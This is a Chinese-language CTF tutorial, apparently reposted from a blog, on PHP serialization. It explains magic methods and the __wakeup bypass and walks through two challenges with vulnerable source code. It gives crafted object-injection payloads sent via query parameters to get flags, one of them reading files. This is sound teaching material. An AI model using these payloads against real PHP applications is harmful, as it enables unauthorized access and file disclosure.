跳转至

CTF中的序列化与反序列化

序列化和反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。

反序列化则相反将字符串重新恢复成对象。

对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化中常见的魔法函数:

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用

看一串字符串

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名

就像这样

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

绕过__wakeup()函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

//将上面的对象属性个数值改成逼真实个数打
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

看几道基础的题目

[极客大挑战 2019]PHP

扫目录拿到www.zip网站的备份源码。

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
$a = new Name("admin",100);
$a = serialize($a);
echo $a;
?>

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过__wakeup

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后?select传值

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ISCC2020-Php is the best language(php反序列化)
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file="flag.php";     //本来是public $file这里改成public $file="flag.php"; 
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}/*
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    $good = unserialize($data);
    echo $good;
}
else
{
    $url='./index.php';
}
$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}*/
//下面是解题代码
$a = new baby("flag.php");
$a = serialize($a);
echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
?>

然后传值

原文链接: https://www.cnblogs.com/HelloCTF/p/13044403.html